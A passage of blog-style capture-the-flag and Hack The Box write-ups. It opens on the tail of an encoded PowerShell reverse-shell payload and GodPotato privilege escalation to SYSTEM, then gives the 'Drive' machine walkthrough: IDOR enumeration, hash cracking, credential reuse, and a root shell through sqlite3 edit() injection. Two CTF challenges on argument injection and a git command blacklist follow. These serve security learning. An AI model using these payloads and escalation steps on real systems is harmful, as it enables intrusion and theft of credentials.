CIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
We got the shell with full privilages as shown below
whoami
nt authority\local service
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Now we can exploit SeImpersonatePrivilege to get access to System user
We will use potato for that.
God potato is a version of it and the latest one as the previous versions were for the same purpose but are patched.
Download the script and send it to victim as before, then we can use it to execute commands as system.
We can get a reverse shell as System or read flag directly as shown below
PS C:\xampp\htdocs\uploads> .\GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140708928421888
[*] DispatchTable: 0x140708930728048
[*] UseProtseqFunction: 0x140708930104224
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\5d3b54b0-a045-4fd9-b2cc-24a3eec17d49\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000a402-1398-ffff-b3ec-b92af9a77b95
[*] DCOM obj OXID: 0x995333262ce97ff6
[*] DCOM obj OID: 0xc0dd9e4d9e40b97c
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 868 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1856
nt authority\system
PS C:\xampp\htdocs\uploads> .\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"
[*] CombaseModule: 0x140708928421888
[*] DispatchTable: 0x140708930728048
[*] UseProtseqFunction: 0x140708930104224
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\a6093430-876f-4fd6-9001-b4b9a94a7b1b\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00004002-120c-ffff-6bc9-00a5ef395859
[*] DCOM obj OXID: 0xc5cf60320db2d932
[*] DCOM obj OID: 0xd1be762d7a08c269
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 868 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 956
3******************************b
-
Drive
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/drive]
└─$ nmap -sV -sC -Pn -oA nmap/drive 10.10.11.235
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-20 02:36 SAST
Nmap scan report for 10.10.11.235
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.61 seconds
shell as martin
from the scan results we see that port 80 is the most interesting as 3000 is filtered
we add this the record 10.10.11.235 drive.htb to /etc/hosts file and go to the site
I registered in the site and then logged in with my new account
I got redirected to this
I see two interesting tabs upload file & dashboard
upload file: enables me to upload file
I tried to upload shell but i got a response indicating that a malicious behaviour detected
Then i uploaded just a test file called tst with random text inside
dashboard: contains the uploaded files as shown below
When i open as example Welcome_To_Doodle_Grive! file, i reach this url http://drive.htb/100/getFileDetail/
and when i select other file like tst, i reach this url http://drive.htb/112/getFileDetail/
Ummmmmmm, there may be idor here but let’s check this reserve option first.
It moves me to the url http://drive.htb/112/block/
Let’s try some enum for the idor
┌──(youssif㉿youssif)-[~]
└─$ ffuf -u http://drive.htb/FUZZ/getFileDetail/ -w <(seq 1 2000) -fc 500 -H "Cookie: csrftoken=wltcvo5fkh1kgl0kgyrMIS64hV0sjQ1d; sessionid=teshdlvcaeur5ogjpgkr2557tjahr041"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://drive.htb/FUZZ/getFileDetail/
:: Wordlist : FUZZ: /proc/self/fd/11
:: Header : Cookie: csrftoken=wltcvo5fkh1kgl0kgyrMIS64hV0sjQ1d; sessionid=teshdlvcaeur5ogjpgkr2557tjahr041
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 500
________________________________________________
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 315ms]
* FUZZ: 79
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 261ms]
* FUZZ: 98
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 279ms]
* FUZZ: 99
[Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 266ms]
* FUZZ: 101
[Status: 200, Size: 5081, Words: 1147, Lines: 172, Duration: 267ms]
* FUZZ: 100
[Status: 200, Size: 5054, Words: 1059, Lines: 167, Duration: 276ms]
* FUZZ: 112
:: Progress: [2000/2000] :: Job [1/1] :: 65 req/sec :: Duration: [0:00:26] :: Errors: 0 ::
We got the interesting ids, We can access 100,112 in getFileDetail endpoint but when we try to access the others we get 401 status code in response
After some trails i found that we can access them through block endpoint like this http://drive.htb/79/block/ and i found this
Let’s login using these credentials ssh martin@10.10.11.235 and congratzzz we got a shell as martin
shell as tom
I started digging into the machine as martin by searching for simple privesc ways like sudo -l, crontab, etc but with no useful information.
After some digging into the machine i found the accessable path with useful information in /var/www/backups
martin@drive:/var/www/backups$ ls
1_Dec_db_backup.sqlite3.7z 1_Nov_db_backup.sqlite3.7z 1_Oct_db_backup.sqlite3.7z 1_Sep_db_backup.sqlite3.7z db.sqlite3
The 7z files needs password to be accessed but there’s db.sqlite3 can be accessed by sqlite3 db.sqlite
after digging in it i reached this
sqlite> select username,password from accounts_customuser;
jamesMason|sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz|sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands|sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
crisDisel|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin|sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
after cracking them offline using hashcat i got this creds tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
Couldn’t use it to get shell as another user but let’s keep it now
When we dig into network especially using netstat -nltp we will find this
martin@drive:/var/www/backups$ netstat -nltp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
We will use port forwarding to be able to access it using the command ssh -L 3001:127.0.0.1:3000 martin@10.10.11.235
and when we access this url 127.0.0.1:3000 we reach gitea
I tried this creds tomHands:john316 but couldn’t login successfully
then note that from the database there’s username martinCruz who is martin and we already know his password, so i used this creds and logged in successfully to this repo
after examining the repo especially the commits i found interesting commit with message added the new database backup feature
This commit shows info about making the backups and we got the password to extract the archived backups
when i extract the backup in backups directory i get error as i have no permissions here, so i move the backups to /dev/shm which is a traditional shared memory and extracted them their using for example this command 7z e -p'H@ckThisP@ssW0rDIfY0uC@n:)' /dev/shm/1_Sep_db_backup.sqlite3.7z -o/dev/shm/Sep.db.sqlite3
the backups are sqlite3 databases and after digging into them you will find the treasures here select username,password from accounts_customuser; and this because the instances have some changes in the passwords so we will take them and crack them offline as done before.
The user tomHands is the one whose password is changed between the backup instances and here are all hashes with there hash cracking output
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
tomHands:sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy
from /etc/passwd we know that there’s a user called tom and we are trying to get a shell as tom so let’s try ssh using all these passwords
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/drive]
└─$ crackmapexec ssh 10.10.11.235 -u tom -p passwdTom
SSH 10.10.11.235 22 10.10.11.235 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9
SSH 10.10.11.235 22 10.10.11.235 [-] tom:johniscool Authentication failed.
SSH 10.10.11.235 22 10.10.11.235 [+] tom:johnmayer7
so we can ssh using tom:johnmayer7
tom@drive:~$ ls
doodleGrive-cli README.txt user.txt
tom@drive:~$ cat user.txt
********************************
shell as root
we found doodleGrive-cli which seems very interesting it requires credientials to be launched so i moved it to my machine and started analyzing it using ghidra
when ghidra finishes analysis i examined the main function which is shown below after variable renaming
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char username [16];
char password [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setenv("PATH","",1);
setuid(0);
setgid(0);
puts(
"[!]Caution this tool still in the development phase...please report any issue to the developm ent team[!]"
);
puts("Enter Username:");
fgets(username,0x10,(FILE *)stdin);
sanitize_string(username);
printf("Enter password for ");
printf(username,0x10);
puts(":");
fgets(password,400,(FILE *)stdin);
sanitize_string(password);
iVar1 = strcmp(username,"moriarty");
if (iVar1 == 0) {
iVar1 = strcmp(password,"findMeIfY0uC@nMr.Holmz!");
if (iVar1 == 0) {
puts("Welcome...!");
main_menu();
goto LAB_0040231e;
}
}
puts("Invalid username or password.");
LAB_0040231e:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
from this function we found the username:password which is moriarty:findMeIfY0uC@nMr.Holmz!
There are also 2 other functions which are sanitize_string & main_menu Let’s check them
sanitize_string
void sanitize_string(char *param_1)
{
bool bVar1;
size_t sVar2;
long in_FS_OFFSET;
int local_3c;
int local_38;
uint local_30;
undefined8 local_29;
undefined local_21;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_3c = 0;
local_29 = 0x5c7b2f7c20270a00;
local_21 = 0x3b;
local_38 = 0;
do {
sVar2 = strlen(param_1);
if (sVar2 <= (ulong)(long)local_38) {
param_1[local_3c] = '\0';
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
bVar1 = false;
for (local_30 = 0; local_30 < 9; local_30 = local_30 + 1) {
if (param_1[local_38] == *(char *)((long)&local_29 + (long)(int)local_30)) {
bVar1 = true;
break;
}
}
if (!bVar1) {
param_1[local_3c] = param_1[local_38];
local_3c = local_3c + 1;
}
local_38 = local_38 + 1;
} while( true );
}
This is sanitize_string function which accepts string and removes bad characters
these bad characters are represnted as 0x5c7b2f7c20270a00 & 0x3b which are \{/| '\n\00;
main_menu
void main_menu(void)
{
long in_FS_OFFSET;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
fflush((FILE *)stdin);
do {
putchar(10);
puts("doodleGrive cli beta-2.2: ");
puts("1. Show users list and info");
puts("2. Show groups list");
puts("3. Check server health and status");
puts("4. Show server requests log (last 1000 request)");
puts("5. activate user account");
puts("6. Exit");
printf("Select option: ");
fgets(local_28,10,(FILE *)stdin);
switch(local_28[0]) {
case '1':
show_users_list();
break;
case '2':
show_groups_list();
break;
case '3':
show_server_status();
break;
case '4':
show_server_log();
break;
case '5':
activate_user_account();
break;
case '6':
puts("exiting...");
/* WARNING: Subroutine does not return */
exit(0);
default:
puts("please Select a valid option...");
}
} while( true );
}
as we see there are different options and each option has its own function but after examining them I’m interested in activate_user_account
activate_user_account
void activate_user_account(void)
{
size_t sVar1;
long in_FS_OFFSET;
char username [48];
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter username to activate account: ");
fgets(username,0x28,(FILE *)stdin);
sVar1 = strcspn(username,"\n");
username[sVar1] = '\0';
if (username[0] == '\0') {
puts("Error: Username cannot be empty.");
}
else {
sanitize_string(username);
snprintf(local_118,0xfa,
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"
,username);
printf("Activating account for user \'%s\'...\n",username);
system(local_118);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
I think it’s interesting because it takes an input from us which is the username and this input is put within the query
The only obstacle is sanitize_string function applied on this username
after search here i found that SQL functions that have potentially harmful side-effects, such as edit(), fts3_tokenizer(), load_extension(), readfile() and writefile().
After examining edit() i found that it can open an editor and from it we can run command as root
First we will open the cli using this command VISUAL=/usr/bin/vim ./doodleGrive-cli because in the documentation of edit() function you will see that the editor can be chosen by making it the value if VISUAL environment variable
To bypass the sanitize_string function the payload will be "&edit(username)-- -
and it gives us vim editor at which we can type :!/bin/bash as shown
and congratz you are root now
you can get the flag
root@drive:~# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root),1003(tom)
root@drive:~# /usr/bin/cat /root/root.txt
********************************
-
-
-
-
Misc: Library (hard)
Description
Built a book library, however my friend says that i made a nasty mistake!
Author: zAbuQasem
nc 172.190.120.133 50003
Solution
There’s an attached code with the challange and we will care about challange.py file in it
The content is
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from rich.console import Console
import re
import shlex
import os
FLAG = os.getenv("FLAG","FAKE_FLAG")
console=Console()
class Member:
def __init__(self, name):
self.name = name
class Book:
def __init__(self, title, author, isbn):
self.title = title
self.author = author
self.isbn = isbn
class BookCopy:
def __init__(self, book):
self.book = book
self.available = True
class SaveFile:
def __init__(self, file_name=os.urandom(16).hex()):
self.file = file_name
class Library:
def __init__(self, name):
self.name = name
self.books = {}
self.members = {}
def add_book(self, book, num_copies=1):
if book.isbn in self.books:
self.books[book.isbn] += num_copies
else:
self.books[book.isbn] = num_copies
def add_member(self, member):
self.members[member.name] = member
def display_books(self,title=''):
if not title == '':
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
if book.title == title:
return book.title
else:
console.print("\n[bold red]Book not found.[/bold red]")
else:
console.print(f"\n[bold green]Books in {self.name} Library:[/bold green]")
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out"
console.print(f"[cyan]ISBN: {isbn} - Status: {status}[/cyan]")
def search_book(self):
pattern = console.input("[bold blue]Enter the pattern to search: [/bold blue]")
matching_books = []
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
if re.fullmatch(pattern,book.title):
matching_books.append(book)
if matching_books:
console.print(f"\n[bold yellow]Found matching books for '{pattern}':[bold yellow]")
for book in matching_books:
status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out"
console.print(f"[cyan]ISBN: {book.isbn} - Status: {status}[/cyan]")
else:
console.print(f"[bold yellow]No matching books found for '{pattern}'.[/bold yellow]")
def check_out_book(self, isbn, member_name):
if member_name not in self.members:
console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]")
return
if isbn not in isbn_to_book:
console.print("\n[bold red]Book not found.[/bold red]")
return
if isbn not in self.books or self.books[isbn] <= 0:
console.print("\n[bold red]All copies of the book are currently checked out.[/bold red]")
return
member = self.members[member_name]
book_copy = BookCopy(isbn_to_book[isbn])
for i in range(len(member_books.setdefault(member_name, []))):
if member_books[member_name][i].book.isbn == isbn and member_books[member_name][i].available:
member_books[member_name][i] = book_copy
self.books[isbn] -= 1
console.print(f"\n[bold green]Successfully checked out:[/bold green] [cyan]{book_copy.book} for {member.name}[/cyan]")
return
console.print("\n[bold red]No available copies of the book for checkout.[/bold red]")
def return_book(self, isbn, member_name):
if member_name not in self.members:
console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]")
return
if isbn not in isbn_to_book:
console.print("\n[bold red]Book not found.[/bold red]")
return
member = self.members[member_name]
for i in range(len(member_books.setdefault(member_name, []))):
if member_books[member_name][i].book.isbn == isbn and not member_books[member_name][i].available:
member_books[member_name][i].available = True
self.books[isbn] += 1
console.print(f"\n[bold green]Successfully returned:[/bold green] [cyan]{member_books[member_name][i].book} by {member.name}[/cyan]")
return
console.print("\n[bold red]Book not checked out to the member or already returned.[/bold red]")
def save_book(title, content='zAbuQasem'):
try:
with open(title, 'w') as file:
file.write(content)
console.print(f"[bold green]Book saved successfully[/bold green]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
def check_file_presence():
book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] "))
command = "ls " + book_name
try:
result = os.popen(command).read().strip()
print(result)
if result == book_name:
console.print(f"[bold green]The book is present in the current directory.[/bold green]")
else:
console.print(f"[bold red]The book is not found in the current directory.[/bold red]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
if __name__ == "__main__":
library = Library("My Library")
isbn_to_book = {}
member_books = {}
while True:
console.print("\n[bold blue]Library Management System[/bold blue]")
console.print("1. Add Member")
console.print("2. Add Book")
console.print("3. Display Books")
console.print("4. Search Book")
console.print("5. Check Out Book")
console.print("6. Return Book")
console.print("7. Save Book")
console.print("8. Check File Presence")
console.print("0. Exit")
choice = console.input("[bold blue]Enter your choice (0-8): [/bold blue]")
if choice == "0":
console.print("[bold blue]Exiting Library Management System. Goodbye![/bold blue]")
break
elif choice == "1":
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.add_member(Member(member_name))
console.print(f"[bold green]Member '{member_name}' added successfully.[/bold green]")
elif choice == "2":
title = console.input("[bold blue]Enter book title: [/bold blue]").strip()
author = console.input("[bold blue]Enter book author: [/bold blue]")
isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]")
num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]"))
book = Book(title, author, isbn)
isbn_to_book[isbn] = book
library.add_book(book, num_copies)
console.print(f"[bold green]Book '{title}' added successfully with {num_copies} copies.[/bold green]")
elif choice == "3":
library.display_books()
elif choice == "4":
library.search_book()
elif choice == "5":
isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]")
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.check_out_book(isbn, member_name)
elif choice == "6":
isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]")
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.return_book(isbn, member_name)
elif choice == "7":
choice = console.input("\n[bold blue]Book Manager:[/bold blue]\n1. Save Existing\n2. Create new book\n[bold blue]Enter your choice (1-2): [/bold blue]")
if choice == "1":
title = console.input("[bold blue]Enter Book title to save: [/bold blue]").strip()
file = SaveFile(library.display_books(title=title))
save_book(file.file, content="Hello World")
else:
save_file = SaveFile()
title = console.input("[bold blue]Enter book title: [/bold blue]").strip()
author = console.input("[bold blue]Enter book author: [/bold blue]")
isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]")
num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]"))
title = title.format(file=save_file)
book = Book(title,author, isbn)
isbn_to_book[isbn] = book
library.add_book(book, num_copies)
save_book(title)
elif choice == "8":
check_file_presence()
else:
console.print("[bold red]Invalid choice. Please enter a number between 0 and 8.[/bold red]")
What a huge code !!
Don’t worry after a fast examination we will know that there’s only small interesting part
The interesting part is the choice number 8 cuz it calls the function check_file_presence() and its content is
def check_file_presence():
book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] "))
command = "ls " + book_name
try:
result = os.popen(command).read().strip()
print(result)
if result == book_name:
console.print(f"[bold green]The book is present in the current directory.[/bold green]")
else:
console.print(f"[bold red]The book is not found in the current directory.[/bold red]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
It’s interesting cuz it the only one containing command execution and the command we can say its supplied from the user (not exactly)
Okay let’s analyze this function
We have book_name is concatenated with ls and the result is executed as command
This appears to be vulnerable to command injection and we see that that the blacklist is very poor
but the problem is in shlex.quote this puts the input in quots
Then your dreams about supplying ;whoami as input so the command becomes ls ;whoami are destroyed becaused the command became ls ';whoami'
What can we do then ?!!!
After searching i found this amazing article
I recommend it
The most important thing we got from it is that shlex.quote() escapes the shell's parsing, but it does not escape the argument parser of the command you're calling, and some additional tool-specific escaping needs to be done manually, especially if your string starts with a dash (-).
So What about making the input something like -la resulting in the command ls -la without the problem of quotes.
┌──(youssif㉿youssif)-[~]
└─$ nc 172.190.120.133 50003
Library Management System
1. Add Member
2. Add Book
3. Display Books
4. Search Book
5. Check Out Book
6. Return Book
7. Save Book
8. Check File Presence
0. Exit
Enter your choice (0-8): 8
Enter the name of the book (file) to check: -la
total 56
drwxr-sr-x 1 challeng challeng 4096 Feb 9 23:44 .
drwxr-xr-x 1 root root 4096 Feb 1 14:20 ..
-rw-r--r-- 1 challeng challeng 9 Feb 9 23:52 0xL4ugh{TrU5t_M3_LiF3_I5_H4rD3r!}
-rw-r--r-- 1 challeng challeng 9 Feb 9 22:20 ;ls
-rw-r--r-- 1 challeng challeng 9 Feb 9 18:07 FLAG
-rw-r--r-- 1 challeng challeng 9 Feb 9 22:49 ay
-rw-rw-r-- 1 root root 8975 Jan 31 22:43 challenge.py
-rw-rw-r-- 1 root root 103 Jan 31 22:19 exec.sh
-rw-r--r-- 1 challeng challeng 9 Feb 9 16:48 nice
-rw-r--r-- 1 challeng challeng 11 Feb 9 17:19 pouet
-rw-r--r-- 1 challeng challeng 9 Feb 9 23:44 test
The book is not found in the current directory.
Nice We got it, The flag is right there !!
The flag: 0xL4ugh{TrU5t_M3_LiF3_I5_H4rD3r!}
-
Misc: GitMeow (medium)
Description
Just another annoying git challenge :)
Author: zAbuQasem
nc 172.190.120.133 50001
Solution
There’s an attached code with the challange and we will care about challange.py file in it
The content is
import os
from banner import monkey
BLACKLIST = ["|", "\"", "'", ";", "$", "\\", "#", "*", "(", ")", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push"]
def is_valid_utf8(text):
try:
text.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
def get_git_commands():
commands = []
print("Enter git commands (Enter an empty line to end):")
while True:
try:
user_input = input("")
except (EOFError, KeyboardInterrupt):
break
if not user_input:
break
if not is_valid_utf8(user_input):
print(monkey)
exit(1337)
for command in user_input.split(" "):
for blacklist in BLACKLIST:
if blacklist in command:
print(monkey)
exit(1337)
commands.append("git " + user_input)
return commands
def execute_git_commands(commands):
for command in commands:
output = os.popen(command).read()
if "{f4k3_fl4g_f0r_n00b5}" in output:
print(monkey)
exit(1337)
else:
print(output)
commands = get_git_commands()
execute_git_commands(commands)
When we analyze the code carefully, we will find many important things
The program accepts input from user and this input is used in git command in the format git input
The input is tested against the words in the blacklist
you can execute more than one command
supplying endline means no more input
So we need to make use of git commands to get the flag.
Let’s start the challange
──(youssif㉿youssif)-[~]
└─$ nc 172.190.120.133 50004
_____ _ _ ___ ___
| __ (_) | | \/ |
| | \/_| |_| . . | ___ _____ __
| | __| | __| |\/| |/ _ \/ _ \ \ /\ / /
| |_\ \ | |_| | | | __/ (_) \ V V /
\____/_|\__\_| |_/\___|\___/ \_/\_/
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
I started by trying simple commands like git status, git log and this is done by supplying status & log as inputs
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
status
log
On branch master
Untracked files:
(use "git add <file>..." to include in what will be committed)
../../.dockerenv
../../bin/
../../dev/
../../etc/
../
../../lib/
../../proc/
../../run/
../../sbin/
../../sys/
../../tmp/
../../usr/
../../var/
nothing added to commit but untracked files present (use "git add" to track)
commit c208c6664cc72304ec7803c612c10a4f468338e8
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Sat Feb 10 00:31:43 2024 +0000
.
commit 14f7055bac6cffb5e5c052577c4b607ef776de6c
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 21:05:03 2024 +0000
i
commit bc7f31f90f4c9071af36e50059a61fd7630dc2a2
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:58:48 2024 +0000
a
commit ab5579000510625d0c8340b5b5ee06fbb32ac3d0
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:48:05 2024 +0000
a
commit f57b0e151d5ed760ed6b78af993d8f69a48a0b1a
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 17:03:30 2024 +0000
dummy
commit 76877ac666f00e4928cbdad873eb1b3d2011ebbb
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:57:01 2024 +0000
dummy
commit 504f31a3c83e8cca42a9ef17d4bf74b89bff9d66
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:57:00 2024 +0000
dummy
After them i tried to make use of git diff but i got error and the error because diff is blacklisted
So we need to search more and after searching i found it
The command git log --stat -M which provides a detailed overview of the commit history, including file modifications and renames.
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
log --stat -M
commit 4d6f6931ab8c2de5d54755d933ef0c629a2e821b
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Sat Feb 10 00:26:34 2024 +0000
.
Notes:
0xL4ugh{GiT_D0c3_F0r_Th3_WiN}
flag.txt | 1 +
1 file changed, 1 insertion(+)
commit b02cbef94904b3d8247d96568290432a3031b152
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:49:18 2024 +0000
a
archive123.zip | Bin 1927 -> 28391 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 27adc7dc97eef4a627344c44df44b2058002e9d0
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 17:00:50 2024 +0000
dummy
archive123.zip | Bin 0 -> 1927 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 90f6d50253dd542fcad7ab2def60e79403212ccd
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:24:39 2024 +0000
dummy
git-diagnostics-2024-02-09-1624.zip | Bin 0 -> 14631 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 5926449b1592558e499f72e5820fc5518def581a
